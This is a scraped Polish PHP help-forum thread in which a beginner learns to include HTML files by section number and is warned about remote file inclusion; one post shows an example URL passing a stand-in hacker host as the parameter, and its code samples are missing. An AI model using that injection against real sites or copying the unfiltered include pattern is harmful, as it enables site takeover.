![]() |
![]() |
![]()
Post
#1
|
|
Grupa: Zarejestrowani Postów: 345 Pomógł: 3 Dołączył: 20.02.2005 Ostrzeżenie: (0%) ![]() ![]() |
mam tu stronkę http://dobrepomysly.za.pl
I działy, dajmy na to dział 2. No i tematy są inludowane w sposób :
Jak to zrobic zeby nierobić tych bardzo żmudnych case x: include("blabla.html") niebardzo wiem jak to zrobic przy użyciu np. pętli while czy cos takiego. Pomóżcie |
|
|
![]() |
![]()
Post
#2
|
|
Grupa: Zarejestrowani Postów: 214 Pomógł: 0 Dołączył: 3.04.2004 Skąd: Legionowo Ostrzeżenie: (0%) ![]() ![]() |
|
|
|
![]()
Post
#3
|
|
Grupa: Zarejestrowani Postów: 607 Pomógł: 23 Dołączył: 8.09.2004 Skąd: Wrocław Ostrzeżenie: (0%) ![]() ![]() |
może lepiej tak (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg) Ten post edytował Spirit86 24.09.2005, 19:31:44 |
|
|
![]()
Post
#4
|
|
Grupa: Zarejestrowani Postów: 135 Pomógł: 0 Dołączył: 28.09.2003 Skąd: Rzeszów Ostrzeżenie: (0%) ![]() ![]() |
Jeśli to nie tylko liczby, to możesz na przykład zrobic tablicę elementów odpowiadająch możliwością, i sprawdzać za pomocją in_array(). Jednak wygląda, że to raczej będą numerki, więc rozwiązanie zbig13'a będzie lepsze, jednak z jednym dodatkiem - filtrowaniem tego $_GET['dzial'].
|
|
|
![]()
Post
#5
|
|
Grupa: Zarejestrowani Postów: 607 Pomógł: 23 Dołączył: 8.09.2004 Skąd: Wrocław Ostrzeżenie: (0%) ![]() ![]() |
Cytat(M4chu @ 2005-09-24 19:17:20) Jeśli to nie tylko liczby, to możesz na przykład zrobic tablicę elementów odpowiadająch możliwością, i sprawdzać za pomocją in_array(). Jednak wygląda, że to raczej będą numerki, więc rozwiązanie zbig13'a będzie lepsze, jednak z jednym dodatkiem - filtrowaniem tego $_GET['dzial']. rozwiązanie zbig13 wcale nie jest lepsze. Zastanów się lepiej :] |
|
|
![]()
Post
#6
|
|
Grupa: Zarejestrowani Postów: 214 Pomógł: 0 Dołączył: 3.04.2004 Skąd: Legionowo Ostrzeżenie: (0%) ![]() ![]() |
ja podsunąłem tylko propozycję jak można to zrobić krócej (zamiast switch) a z zabezpieczeniem tego kodu autor tematu powinien sobie poradzić (IMG:http://forum.php.pl/style_emoticons/default/biggrin.gif)
@Spirit86 - do tego twojego kodu można zamiast (int) przed zmienną sprawdzić w warunku czy zmienna $dzial jest liczbą (funkcja is_numeric" title="Zobacz w manualu php" target="_manual). Jest to o tyle lepsze, że można kontrolować komunikat wyświetlany, gdy zmienna nie będzie miała wartości liczbowej. |
|
|
![]()
Post
#7
|
|
Grupa: Zarejestrowani Postów: 345 Pomógł: 3 Dołączył: 20.02.2005 Ostrzeżenie: (0%) ![]() ![]() |
razej zmienna zawsze będzie miała wartość liczbową, chodzi o te pliki html.
Jest tego dużo i dużo latwiej mi się połąpać. A nieznam sie superowo na php Cytat ja podsunąłem tylko propozycję jak można to zrobić krócej (zamiast switch) a z zabezpieczeniem tego kodu autor tematu powinien sobie poradzić biggrin.gif Niewiem co mam przez to rozumiec (IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif) W jaki sposób ten kod zabezpieczyc (IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif) Ten post edytował Kreton 25.09.2005, 08:26:26 |
|
|
![]()
Post
#8
|
|
Grupa: Zarejestrowani Postów: 214 Pomógł: 0 Dołączył: 3.04.2004 Skąd: Legionowo Ostrzeżenie: (0%) ![]() ![]() |
Kod niezabezpieczony wygląda tak:
Potencjalny włamywacz może napisać cos takiego: http://twoja.strona.pl?dzial=http://strona.hakera.pl/1 i otworzył by się plik, który haknie ci stronę. Aby zabezpieczyć stronę, trzeba zrobić cos takiego:
czyli połączenie mojego kodu i kodu Spirit86 (IMG:http://forum.php.pl/style_emoticons/default/biggrin.gif) Edit: @mike_mech Racja, to z pośpiechu (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg) Już poprawiam Ten post edytował zbig13 25.09.2005, 16:31:47 |
|
|
![]()
Post
#9
|
|
Grupa: Moderatorzy Postów: 1 566 Pomógł: 37 Dołączył: 14.05.2003 Skąd: Kraków ![]() |
ja bym tak dał die" title="Zobacz w manualu php" target="_manual zamiast echo
|
|
|
![]()
Post
#10
|
|
Grupa: Zarejestrowani Postów: 345 Pomógł: 3 Dołączył: 20.02.2005 Ostrzeżenie: (0%) ![]() ![]() |
Mam gorącą prośbe, mogłbyś mi bardziej dogłębnie wytłumaczyc, jak mogłby hacknnąć tą stronkę (IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif) W jaki sposób ten kod napisany przez ciebie chroni przed włamem.
Nie chcę robić poźniej takiego błędu (IMG:http://forum.php.pl/style_emoticons/default/biggrin.gif) z góry THX (IMG:http://forum.php.pl/style_emoticons/default/biggrin.gif) |
|
|
![]()
Post
#11
|
|
Grupa: Przyjaciele php.pl Postów: 7 494 Pomógł: 302 Dołączył: 31.03.2004 Ostrzeżenie: (0%) ![]() ![]() |
Cytat(Kreton @ 2005-09-25 12:24:39) Mam gorącą prośbe, mogłbyś mi bardziej dogłębnie wytłumaczyc, jak mogłby hacknnąć tą stronkę (IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif) W jaki sposób ten kod napisany przez ciebie chroni przed włamem. Chodzi o to że bez kontroli dołanczasz jakiś plik, to wcale nie musi byc plik u Ciebie na serwerze tylko u kogoś. Kotś może Ci tak dołączyć plik, w którym kasuje wszystkie foldery w bierzącej lokalizacji a to już problem, nie :?: Sprawdzenie polego na tym czy zmienna przychodząca z $_POST'a jest liczbą i czy u Ciebie na serwerze istnieje plik, który masz zamiar dołączyć (masz pewność że dołanczasz seoje pliki). Mam tylko dwa ale: 1. Do sprawdzania czy dana jest liczbe użyłbym fukncji z rozszerzenia ctype. 2. @zbig13 ma błąd w kodzie: Sprawdza istnienie pliku na poziomie (folderów) gdzie jest index.php a dołancza plik z folderu niżej. Oczywiste jest że nigy takiego pliku nie będzie. Trzeba sprawdzać czy plik istnieje w folderze niżej. |
|
|
![]()
Post
#12
|
|
Grupa: Zarejestrowani Postów: 607 Pomógł: 23 Dołączył: 8.09.2004 Skąd: Wrocław Ostrzeżenie: (0%) ![]() ![]() |
Cytat(Ociu @ 2005-09-25 09:26:47) ja bym tak dał die" title="Zobacz w manualu php" target="_manual zamiast echo a cóż to za różnica, jeżeli i tak udaremniliśmy próbę Code Injection. Teraz to i tak nie ma znaczenia, więc można wykonywac stronę dalej. |
|
|
![]()
Post
#13
|
|
Grupa: Zarejestrowani Postów: 345 Pomógł: 3 Dołączył: 20.02.2005 Ostrzeżenie: (0%) ![]() ![]() |
i wyrzuca błąd Kod Parse error: syntax error, unexpected '{' in C:\Program Files\WebServ\httpd\Działy\I.Efekty\działy.php on line 31 A niemoge się tam doszukac jakiegoś błędnego nawiasu, co jest nie tak (IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif) HELP |
|
|
![]()
Post
#14
|
|
Grupa: Moderatorzy Postów: 36 557 Pomógł: 6315 Dołączył: 27.12.2004 ![]() |
Na samyum koncu brakuje }. Czy to tak ciezko policzyc lkiczbe otwrtych, liczbe zmaknietych i sprobowac samemu znalexc?
|
|
|
![]()
Post
#15
|
|
Grupa: Zarejestrowani Postów: 345 Pomógł: 3 Dołączył: 20.02.2005 Ostrzeżenie: (0%) ![]() ![]() |
dla ciebie wnikliwego programisty to moze i proste, ale dla mnie.
Moze jak jakbym ci zaczoł nawalać taktyki w Warcrafcie to dla ciebie niebyło by tak oczywiste jak dla mnie. I tak nic to niedaje ... Ten post edytował Kreton 26.09.2005, 16:34:56 |
|
|
![]()
Post
#16
|
|
Grupa: Przyjaciele php.pl Postów: 2 712 Pomógł: 23 Dołączył: 27.10.2003 Skąd: z kontowni Ostrzeżenie: (0%) ![]() ![]() |
Cytat(Kreton @ 2005-09-26 16:33:03) dla ciebie wnikliwego programisty to moze i proste, ale dla mnie. Moze jak jakbym ci zaczoł nawalać taktyki w Warcrafcie to dla ciebie niebyło by tak oczywiste jak dla mnie. I tak nic to niedaje ... Kolego, troszkę szacunku dla kogoś, kto próbuje Ci pomóc. I zamiast tekstów "i tak nic to nie daje" lepiej powiedz, co jest jeszcze nie tak jak powinno być, czy wywala jakiś błąd? |
|
|
![]()
Post
#17
|
|
Grupa: Zarejestrowani Postów: 607 Pomógł: 23 Dołączył: 8.09.2004 Skąd: Wrocław Ostrzeżenie: (0%) ![]() ![]() |
Ten post edytował Spirit86 26.09.2005, 17:12:56 |
|
|
![]()
Post
#18
|
|
Grupa: Zarejestrowani Postów: 345 Pomógł: 3 Dołączył: 20.02.2005 Ostrzeżenie: (0%) ![]() ![]() |
Mam bardzo duży szacunek do was, ale wy niemacie szacunku do mnie.
Bo niejestem dobrym programistą w php. Ok działa. Bardzo wam dziękuję za pomoc. Aha, i mam pytanie, jeżeli mam tn działy.php i w tym samym katalogu te pliki 1.html itd. To jak zamienić tą komendę include (IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif) bo próbuję coś tu zmieniać, i zawsze wyskakuje " nieprawidłowe dane " :/ Ten post edytował Kreton 26.09.2005, 17:52:41 |
|
|
![]()
Post
#19
|
|
Grupa: Przyjaciele php.pl Postów: 2 712 Pomógł: 23 Dołączył: 27.10.2003 Skąd: z kontowni Ostrzeżenie: (0%) ![]() ![]() |
Usuń /katalog/ z file_exists() i .....
ZACZNIJ MYŚLEĆ!!! |
|
|
![]()
Post
#20
|
|
Grupa: Zarejestrowani Postów: 11 Pomógł: 0 Dołączył: 8.10.2002 Ostrzeżenie: (0%) ![]() ![]() |
wrzuc sobie do tablicy nazwy dostepnych blokow z odpowiadajaca im nazwa plikow, potem wyciganij za pomoca foreach i porownaj z getem jesli blok bedzie dostepny to incuduj plik .... mniejwiecej tak:
Ten post edytował Berni 28.09.2005, 00:17:38 |
|
|
![]()
Post
#21
|
|
Grupa: Zarejestrowani Postów: 607 Pomógł: 23 Dołączył: 8.09.2004 Skąd: Wrocław Ostrzeżenie: (0%) ![]() ![]() |
|
|
|
![]()
Post
#22
|
|
Grupa: Zarejestrowani Postów: 345 Pomógł: 3 Dołączył: 20.02.2005 Ostrzeżenie: (0%) ![]() ![]() |
Zmieniłem na tak jak powiedzieliście, i efekt taki sam, czyli wypisuje nieprawidłowe dane, a te pliki znajduja sie w tym samym katalogu co ten skrypt.
A dodanie na koncu skrptu, Działa
a tu niechce, ja juz się gubię, i niemogę sobie poradzic, a skrypty ( te z ostatnich postów) to już woogule nie kumam. Sry |
|
|
![]() ![]()
Post
#23
|
|
Grupa: Zarejestrowani Postów: 22 Pomógł: 0 Dołączył: 29.06.2005 Ostrzeżenie: (0%) ![]() ![]() |
Cytat Chodzi o to że bez kontroli dołanczasz jakiś plik, to wcale nie musi byc plik u Ciebie na serwerze tylko u kogoś. Kotś może Ci tak dołączyć plik, w którym kasuje wszystkie foldery w bierzącej lokalizacji a to już problem, nie nawet jesli wywola plik z innego serwera to i tak to mu nic nie da. Pobierze sie tylko juz wygenerowana strona, poniewaz kod wykona sie po stronie serwera hakera. Jesli bylby kod kasujacy wszystkie foldery w danej lokalizacji to po stronie serwera tego 1 musialby byc przepuszczony przez eval(); tak mi sie przynajmniej wydaje (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) |
|
|
![]()
Post
#24
|
|
Grupa: Zarejestrowani Postów: 214 Pomógł: 0 Dołączył: 3.04.2004 Skąd: Legionowo Ostrzeżenie: (0%) ![]() ![]() |
@Kreton A co się dokładnie dzieje? Są jakieś komunikaty o błędach czy coś w tym rodzaju. Napisz trochę więcej, bo na pierwszy rzut oka nie widać żadnych błędów w kodzie.
jeszcze tylko powiedz po co ta klamra przed if(is_numeric)
|
|
|
![]()
Post
#25
|
|
Grupa: Zarejestrowani Postów: 345 Pomógł: 3 Dołączył: 20.02.2005 Ostrzeżenie: (0%) ![]() ![]() |
musi byc ten nawias bo przed nim jest
Kod } else { chodzi o to ze ta konstrukcja include musi byc zła, bo nieincluduje pliku tylko pokazuje tylko ten komunikat czyli Kod Nieprawidłowe dane zaznaczam ze pliki czyli 1.html 2.html itd. sa w tym samym katalogu co ten skrypt. czyli konkretniej nie działa
lub
i tu niemoge rozmyslij jak maja wygladar te 2 wersy Ten post edytował Kreton 28.09.2005, 21:23:42 |
|
|
![]()
Post
#26
|
|
Grupa: Zarejestrowani Postów: 398 Pomógł: 10 Dołączył: 24.11.2004 Skąd: Łódź Ostrzeżenie: (0%) ![]() ![]() |
Tutaj funkcją file_exists () sprawdzasz czy plik istnieje.
Jeżeli Twoja zmienna $dzial będzie miała wartość 1 to w połączeniu z ciągiem znaków 'html' dostaniesz ciąg znaków '1html' a chodzi chyba raczej o '1.html' tak więc musisz postawić kropkę przed ciągiem 'html' w Twoim kodzie czyli poprawny fragment będzie wyglądał:
W tym wypadku dostaniesz ciąg '1.html' i wrzucając go do funkcji file_exists() sprawdzasz czy istnieje plik '1.html' a nie tak jak miałeś wcześniej '1html' |
|
|
![]()
Post
#27
|
|
Grupa: Zarejestrowani Postów: 345 Pomógł: 3 Dołączył: 20.02.2005 Ostrzeżenie: (0%) ![]() ![]() |
nadal nidzla wlasnie to if_exists :/, probowalem takze w innym skrypcie tego uzywac ale niedziała. Tu musi byc problem z tym if_exists
|
|
|
![]() ![]() |
![]() |
Aktualny czas: 23.08.2025 - 10:06 |